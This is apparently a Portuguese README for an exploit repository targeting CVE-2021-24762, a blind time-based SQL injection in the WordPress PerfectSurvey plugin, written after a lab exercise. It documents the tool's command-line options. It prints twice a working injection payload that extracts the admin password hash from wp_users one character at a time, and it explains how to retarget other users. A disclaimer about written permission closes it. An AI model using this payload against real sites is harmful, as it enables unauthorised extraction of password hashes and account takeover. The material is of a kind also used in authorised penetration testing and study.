
Este repositório mostra um exploit para CVE-2021-24762. É um exploit de Blind SQLi que, na configuração padrão, extrai a senha do administrador.
Este repositório mostra um exploit para CVE-2021-24762. É um exploit de Blind SQLi que, na configuração padrão, obtém a senha do administrador.
Durante um laboratório baseado em Wordpress com o plugin PerfectSurvey, fiquei preso em uma vulnerabilidade SQL. Os únicos PoCs disponíveis que encontrei eram baseados em sqlmap e não estavam funcionando corretamente no laboratório em que estava trabalhando (Havia muitas questões adicionais, por exemplo, a aplicação retornando 404, timeouts variando muito e outros problemas. Então criei isto para explorar o laboratório.
____ _ ___ ____
/ ___| / \ |_ _| / ___|
| | / _ \ | | \___ \
| |___ / ___ \ | | __ ) |
\____|/_/ \_\ |___| |____/
CAIS - Inteligência em Cibersegurança
Exploit for: CVE-2021-24762
usage: exploit_cve-2021-24762.py [-h] [-u URL] [-p PATH] [-d DELAY] [-t TIMEOUT] [-c CHARSET] [-m MAX_LEN] [-v]
Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it
options:
-h, --help show this help message and exit
-u, --url URL Base URL (default: http://192.168.10.10)
-p, --path PATH path (default: /wp-admin/admin-ajax.php)
-d, --delay DELAY delay in seconds (default: 30)
-t, --timeout TIMEOUT
timeout in seconds (default: delay + 15)
-c, --charset CHARSET
charset to be used (default: alnum + ./$_-@)
-m, --max-len MAX_LEN
maximum length (default: 20)
-v, --verbose activates log debugging
O script Python recebe os parâmetros acima. Caso não sejam passados, o script executa com seus valores padrão.
Idealmente, você precisará passar pelo menos a URL. Faça isso com -u ou --url. Outros parâmetros provavelmente funcionarão com os padrões.
Na configuração padrão, ele obterá o hash da senha do usuário admin. Essa configuração é aplicada na variável payload, no valor de user_login:
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"
Caso precise encontrar o hash para outro usuário, altere "0x61646d696e" (admin) de acordo com suas necessidades.
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"Uso restrito — Este repositório contém conteúdo sensível destinado apenas ao uso ético e responsável. Lembre-se de que você deve ter permissão por escrito do proprietário do sistema que está testando. Qualquer uso fora desse escopo não é permitido e será de sua responsabilidade (Você quer ir para a cadeia?).
exploit_cve-2021-24762 — Exploit.README.ME — Este arquivo.2025-10-10 — c4cnm — Criação e modificações iniciais
GNU General Public License v3 (GPL)